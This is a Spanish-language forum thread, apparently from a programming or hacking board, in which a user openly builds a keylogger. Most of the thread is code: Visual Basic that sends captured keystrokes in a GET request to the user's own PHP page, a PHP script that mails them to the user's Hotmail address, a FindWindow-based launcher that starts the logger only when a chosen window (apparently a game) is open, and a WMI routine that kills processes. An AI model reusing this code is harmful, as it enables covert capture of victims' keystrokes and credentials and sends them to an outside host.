Mensajes

Exemplo de server de mail... necesito hacer como ese.

http://pio9.com/php/vbcorreo.php?

mandar un correo utilizando un proyecto de Visual Basic y un servidor web con PHP


Esta es mi intencion...

Estoy haciendo mi keylogger, pero que necesito montar um php que redirecione los e-mails para mi e-mail

el del visual basic eres:

Private Sub Command1_Click()
acorreo = "micorreo@hotmail.com"
asunto = "name"
mensaje = textkey
nombre = "Keylogger"
decorreo = "nombre"
pagina = "la pagina que hospeda mi  php"
pagina = pagina & "acorreo=" & acorreo
pagina = pagina & "&asunto=" & asunto
pagina = pagina & "&mensaje=" & mensaje
pagina = pagina & "&nombre=" & nombre
pagina = pagina & "&decorreo=" & decorreo
WebBrowser1.Navigate pagina
End Sub

E en php eres:

<?php
$datos=$_GET;
$acorreo=$datos['acorreo'];
$asunto=$datos['asunto'];
$mensaje=$datos['mensaje'];
$nombre=$datos['nombre'];
$decorreo=$datos['decorreo'];
mail($acorreo,$asunto,$mensaje,"From: $nombre <$decorreo>");
echo "Correo enviado.";
?>

Pero que no se nada de php, alguna buena persona poderia ayudar-me??

lol
solo necesitas

Private Sub Timer1_Timer()

END

END SUB

jajajajjajaa

Es verdade, los perderia todos los anteriores...
por eso es mejor smtp...
Pero que yo tente todas lás possibilidades e no encontre la solucion, tentei winsock, mapi session y otros e no obtive sucesso ...


Salu2

Gracias -Freeze-

Shell("cmd.exe /c nombre_del_ejecutable.exe"
  XD

Private Sub Comprobar(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
     If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
Funcion para ejecutar el keylogger que esta en el c:\winodws\system32\keylogger.exe

    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
      End If
   
End Sub


Private Sub Form_Load()
  Timer1.Enabled = True
  Timer2.Enabled = False
  Timer1.Interval = 10000
  Timer2.Interval = 10000
End Sub

If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True

PROCURO LA FUNCION PARA EXECUTAR EL KEYLOGGER QUE ESTA EN EL E ANADIR-LO A ESTO C:\WINDOWS\SYSTEM32\KEYLOGGER.EXE

    Else

Estoy con una duda. estoy creando un programa de monitoramento de ventanas para solo executar mi keylogger con la ventana que desejo capturar, pero que estoy com una duda para executar el keylogger que eres outro executable...

Option Explicit
Const MSmu = "MU"
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
     ByVal lpClassName As String, _
    ByVal lpWindowName As String) As Long

Private Sub Timer1_Timer()
Comprobar MSmu
End Sub

Private Sub Comprobar(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
     If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
   LA FUNCION PARA EXECUTAR EL KEYLOGGER QUE ESTA EN EL C:\WINDOWS\SYSTEM32\KEYLOGGER.EXE

    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
      End If
   
End Sub


Private Sub Form_Load()
  Timer1.Enabled = True
  Timer2.Enabled = False
  Timer1.Interval = 10000
  Timer2.Interval = 10000
End Sub


Private Sub Timer2_Timer()
Comproba MSmu
End Sub


Private Sub Comproba(clase As String)

Dim ret As Long
   
    ' busca la ventana y retorna el Handle
    ret = FindWindow(clase, vbNullString)
   
    'si retorna distinto _
     de 0 es porque la encontró
    If ret <> 0 Then
      Timer1.Enabled = False
      Timer2.Enabled = True
 
    Else
      Timer1.Enabled = True
      Timer2.Enabled = False
  End If
   
End Sub


eres una simples duda.
Ya tente shell y otros, pero que no executa >.<

ya enconte XD

Private Sub Timer1_Timer()
Timer1.Interval = 60000
Timer2.Enabled = True
Timer1.Enabled = False
End Sub

Private Sub Timer2_Timer()
Timer2.Interval = 60000
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
KillProcess ("test.exe") '
End Sub


Public Sub KillProcess(ByVal processName As String)
On Error GoTo ErrHandler
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices

servicename = LCase(Trim(CStr(oService.Name) & ""))

If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then
ret = oService.Terminate
End If

Next

Set oServices = Nothing
Set oWMI = Nothing


ErrHandler:
Err.Clear
End Sub

Salu2